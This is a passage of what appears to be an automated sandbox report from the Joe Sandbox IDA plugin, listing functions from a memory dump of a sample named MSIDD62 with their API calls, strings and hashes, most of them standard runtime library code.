Opcode Fuzzy Hash: eb114fe6f1e4b1110b68845a4846e10303189a108da9a04b648973520d7a2640
Instruction Fuzzy Hash: 2621927160C205AFDB20AF72CC80DAB77B9AF0036C710892BF91597641E739EC8187A8

Function 003E9020 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,76B15490,003E8B3A,00000000,?,?,?,?,?,?,?,00000000,0042A285,000000FF), ref: 003E9027

Strings

Call to ShellExecute() for verb<, xrefs: 003E9031
Last error=, xrefs: 003E9081
> returned:, xrefs: 003E9036

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 3a58e3257ab8644c89ebd193ee7266bed1e668e904e22a7199324111b5fc1a8a
Instruction ID: 71a42a04c7f17b11b832f4b191c5ab90ccd16fd63155b4bb7a13e6a737fa8f46
Opcode Fuzzy Hash: 3a58e3257ab8644c89ebd193ee7266bed1e668e904e22a7199324111b5fc1a8a
Instruction Fuzzy Hash: 7B218E49A202B186CB711F2E8801339A2F0EF58759F65552FD9C9D73D1FB698C81C395

Function 003F4403 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F440A
std::_Lockit::_Lockit.LIBCPMT ref: 003F4414
std::_Lockit::~_Lockit.LIBCPMT ref: 003F44BB
Concurrency::cancel_current_task.LIBCPMT ref: 003F44C6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskH_prolog3Lockit::_Lockit::~_
String ID:
API String ID: 4244582100-0
Opcode ID: 4636d7dad5fc6f8780a75c662b9aec9ad3fe1c4418c58560916f373daf607dd4
Instruction ID: 09558e318f9a0268a67129c47c9a179af92329ab5e33474a329166a7f274520b
Opcode Fuzzy Hash: 4636d7dad5fc6f8780a75c662b9aec9ad3fe1c4418c58560916f373daf607dd4
Instruction Fuzzy Hash: C7216934A00A2ADFCB05EF15C891A6DB761FF49310F01845AEA26AB7A1DF30ED10CF84

Function 003F1400 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,755CD0F6), ref: 003F143C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 003F145C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 003F148D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 003F14A6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 5507e3d0fc64b8c0a825b44cefb195028b9ade5bffa9f398353c4b6d5cfe2006
Instruction ID: 563e5d8ec2732bd67895a9b87a02baf288e255a4fcedddb56e3fc61d49242413
Opcode Fuzzy Hash: 5507e3d0fc64b8c0a825b44cefb195028b9ade5bffa9f398353c4b6d5cfe2006
Instruction Fuzzy Hash: C0218471A41318EBD721DF54DC05FAABBB8EB45B24F10422AF610A72D0D7B45A05C7D8

Function 003F80C5 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F80CC
std::_Lockit::_Lockit.LIBCPMT ref: 003F80D6

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F8127
std::_Lockit::~_Lockit.LIBCPMT ref: 003F8147

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 26401bb11e6c4b75496545d205a5aa930df51020ffb3f1b2ca48f5f9fad00e25
Instruction ID: 2cb077f4fa8d4fed9edf7d60d15ba1b748043819f07947460faec80d613c7e53
Opcode Fuzzy Hash: 26401bb11e6c4b75496545d205a5aa930df51020ffb3f1b2ca48f5f9fad00e25
Instruction Fuzzy Hash: 0001C07590066D9BCF06EB64C8456BEB765AF85310F25051AE620AF3D2DF349E028B85

Function 003F815A Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F8161
std::_Lockit::_Lockit.LIBCPMT ref: 003F816B

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F81BC
std::_Lockit::~_Lockit.LIBCPMT ref: 003F81DC

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 9b0e60bea47591dc6479bd15969096d0de4a0df10aca7230f94058d326466c1c
Instruction ID: 2e2276e5b1228cf8ac180ffe621c8f205a1e70b2cd335c6b7cd477fed22ed6ae
Opcode Fuzzy Hash: 9b0e60bea47591dc6479bd15969096d0de4a0df10aca7230f94058d326466c1c
Instruction Fuzzy Hash: C501047590061D8BCB06EB64C8457BEB7A1AF84320F25021AE6116B3C2CF349E028B84

Function 003F81EF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F81F6
std::_Lockit::_Lockit.LIBCPMT ref: 003F8200

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F8251
std::_Lockit::~_Lockit.LIBCPMT ref: 003F8271

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 64cf3efd90d3ad0f67b1676039331e1719b57c889cb33a27304fcd52f01731a6
Instruction ID: 403ebe02c81dca49c45f898527543b2cc80995375088139e740a37eb40e9dbea
Opcode Fuzzy Hash: 64cf3efd90d3ad0f67b1676039331e1719b57c889cb33a27304fcd52f01731a6
Instruction Fuzzy Hash: E201C43590061DDBCF06EFA4C9457BEB7B1AF84310F25451AEA106B2D2DF34AE018B94

Function 003F79C9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F79D0
std::_Lockit::_Lockit.LIBCPMT ref: 003F79DA

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7A2B
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7A4B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e9eae405f66fb84c7488e999bc56a41665feaaecc6018be9114ab1adf096dbec
Instruction ID: 2b1543fa77564c43e514e4ff5537d8756f4862630bf2d4e398ef5df1bbb144b1
Opcode Fuzzy Hash: e9eae405f66fb84c7488e999bc56a41665feaaecc6018be9114ab1adf096dbec
Instruction Fuzzy Hash: 1E01003590062D8BCF02EB64D8026BEBB61AF80310F26015DE620AB3D2CF349E018B84

Function 003F7A5E Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7A65
std::_Lockit::_Lockit.LIBCPMT ref: 003F7A6F

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7AC0
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7AE0

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 860268e3a4bb1faa2f06b4e5a91d6f1beac5dfb48edfa2be9e5a2b20b1426ace
Instruction ID: 6ae9096828a68a626cd51321b76ffb11f3c3956276391f348fab8d02c27a2c43
Opcode Fuzzy Hash: 860268e3a4bb1faa2f06b4e5a91d6f1beac5dfb48edfa2be9e5a2b20b1426ace
Instruction Fuzzy Hash: 7701C07590462D9BCF06EB64D8456BEBB61AF84310F26012AE620AB3D2DF349E018BD5

Function 003F7AF3 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7AFA
std::_Lockit::_Lockit.LIBCPMT ref: 003F7B04

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7B55
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7B75

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 12aef839abb3c3a779ba027263855640caf1010b9d55bd551895a240cf3121e3
Instruction ID: 4dda120a7107e145322a5a93fd919fafdec1c4dcd0240b96d58d68e252203b02
Opcode Fuzzy Hash: 12aef839abb3c3a779ba027263855640caf1010b9d55bd551895a240cf3121e3
Instruction Fuzzy Hash: D201C07690462D8BCB06EBA4C8466BEB771AF85310F25411AE610AF3D2CF349E028BD4

Function 003F7B88 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7B8F
std::_Lockit::_Lockit.LIBCPMT ref: 003F7B99

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7BEA
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7C0A

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: e6bb8a1d20c1ab5cd7985cf16979250fca42b6811689f9f42bdd7b7fb39d7e51
Instruction ID: be97f28593ed3114ea2707b40253aba0c54a08eee0b1296ba84d39e1ab0ea059
Opcode Fuzzy Hash: e6bb8a1d20c1ab5cd7985cf16979250fca42b6811689f9f42bdd7b7fb39d7e51
Instruction Fuzzy Hash: AD01C07590062D9BCF07EBA5D8056BEB761AF84310F24451AE610AB2D2DF749E028BD4

Function 00403CD4 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00403CDB
std::_Lockit::_Lockit.LIBCPMT ref: 00403CE5

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 00403D36
std::_Lockit::~_Lockit.LIBCPMT ref: 00403D56

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 190c86a84aecd29ddd2cb1d22f7c9d7ac7e5e7c7c4df9f377b1122196b8c0310
Instruction ID: 99403862bdfa1ec809f09da7f61da0edf4c2fcb5f0a6e33de1a20b7c35c0b18c
Opcode Fuzzy Hash: 190c86a84aecd29ddd2cb1d22f7c9d7ac7e5e7c7c4df9f377b1122196b8c0310
Instruction Fuzzy Hash: 2E01C4759006199FCB06EF64D8457BE7B65AF84310F24452AE511BB3D2CF389E0187D8

Function 003F7F06 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F7F0D
std::_Lockit::_Lockit.LIBCPMT ref: 003F7F17

Part of subcall function 003EBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 003EBD10
Part of subcall function 003EBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 003EBD38

std::_Facet_Register.LIBCPMT ref: 003F7F68
std::_Lockit::~_Lockit.LIBCPMT ref: 003F7F88

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 7769cc2acf1af31af745adb4066c14bddfa8e3da2f52155496b7486d697e8f61
Instruction ID: caaf45f4cf36d20527209ef6b44a851625d431d53f6718fb7c2d95de0434e3c0
Opcode Fuzzy Hash: 7769cc2acf1af31af745adb4066c14bddfa8e3da2f52155496b7486d697e8f61
Instruction Fuzzy Hash: 9701D27590462D9BCF06EFA4C9457BEB771AF84310F24451AF610AF2D2DF349E028B84

Function 003F5C66 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003F5C6D
std::_Lockit::_Lockit.LIBCPMT ref: 003F5C78
std::_Lockit::~_Lockit.LIBCPMT ref: 003F5CE6

Part of subcall function 003F5DC8: std::locale::_Locimp::_Locimp.LIBCPMT ref: 003F5DE0

std::locale::_Setgloballocale.LIBCPMT ref: 003F5C93

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: 0492060313a700d2d59c75a1dcd133392bb691163c910c0178d000a01ac0df42
Instruction ID: 42768042bbd1dd401b69c08582ad092e93b49b40352d6adec1baed8ba1a18ba1
Opcode Fuzzy Hash: 0492060313a700d2d59c75a1dcd133392bb691163c910c0178d000a01ac0df42
Instruction Fuzzy Hash: 4901B179A01A648BC706FB60D80567D7BA1BFC5740B15401DEA115B382CF786A03CBC9

Function 00428C76 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00428643,?,00000001,?,?,?,00427788,?,?,00000000), ref: 00428C8D
GetLastError.KERNEL32(?,00428643,?,00000001,?,?,?,00427788,?,?,00000000,?,?,?,00427D0F,?), ref: 00428C99

Part of subcall function 00428C5F: CloseHandle.KERNEL32(FFFFFFFE,00428CA9,?,00428643,?,00000001,?,?,?,00427788,?,?,00000000,?,?), ref: 00428C6F

___initconout.LIBCMT ref: 00428CA9

Part of subcall function 00428C21: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00428C50,00428630,?,?,00427788,?,?,00000000,?), ref: 00428C34

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00428643,?,00000001,?,?,?,00427788,?,?,00000000,?), ref: 00428CBE

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 42325f89df925bd9c1fa98412f56af35fd26dbfacb7c35fe74cc164c57004cef
Instruction ID: 8ae8611faa65d1ee9f418b7d0ffd7e3067f00d75883292946002dc4ab6281d02
Opcode Fuzzy Hash: 42325f89df925bd9c1fa98412f56af35fd26dbfacb7c35fe74cc164c57004cef
Instruction Fuzzy Hash: CAF01236602165BBCF262F92EC0499E3F66FF097A1F504429FA1995231DF31C921DB98

Function 004078FD Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,0040789A,00000064), ref: 00407920
LeaveCriticalSection.KERNEL32(00444AF8,?,?,0040789A,00000064,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26), ref: 0040792A
WaitForSingleObjectEx.KERNEL32(?,00000000,?,0040789A,00000064,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26), ref: 0040793B
EnterCriticalSection.KERNEL32(00444AF8,?,0040789A,00000064,?,?,003E25B6,0044571C,755CD0F6,?,00000000,004293ED,000000FF,?,003E1A26), ref: 00407942

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: a33dc497978db0a78e6668e7237b82fc2ccf7c26be946b430ca494877b22873a
Instruction ID: 68747c4110e8fa7e3f072300d8b2b7eac0083cc636511242de60eccdd6146cc2
Opcode Fuzzy Hash: a33dc497978db0a78e6668e7237b82fc2ccf7c26be946b430ca494877b22873a
Instruction Fuzzy Hash: 42E09235F85624EBD7212B50EC09F9D3F14EB45755B514032F50572170CBB458028BEE

Function 00421DAF Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 373COMMON

Download Yara Rule

Strings

p0D, xrefs: 004220C2
p0D, xrefs: 00421DDD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID: p0D$p0D
API String ID: 0-224073010
Opcode ID: 299178b718dded120cbb0d0875b8f06ea10c203b902fda0b5cc29cb2c74ed3ef
Instruction ID: ce5aa8f753f6b5d4a41e67969faef2ef6b9a0dfc326b809da7fb2d0661fa303d
Opcode Fuzzy Hash: 299178b718dded120cbb0d0875b8f06ea10c203b902fda0b5cc29cb2c74ed3ef
Instruction Fuzzy Hash: D2C146B1E40214BBDB20DBA8DD42FEFB7F8AF08704F540166FE05EB282E67499459794

Function 0041709D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0041712D

Strings

pow, xrefs: 00417105, 00417122

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: ff11a3993ad0dc6aa6f893144390e9602d43c5f40452708f15561dc029e124c8
Instruction ID: eb9da57fd858225a18aeac309c344f66c00cc1d1a9ae97665f0daa8edc256873
Opcode Fuzzy Hash: ff11a3993ad0dc6aa6f893144390e9602d43c5f40452708f15561dc029e124c8
Instruction Fuzzy Hash: 10516EB1A1C206A6CB157724DA413EB7BB09B41740F208D7BF4D5423A5EB3C8CDB9A4E

Function 00406C34 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00406D98

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00406CFE, 00406D35, 00406D3A
-, xrefs: 00406DC9

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
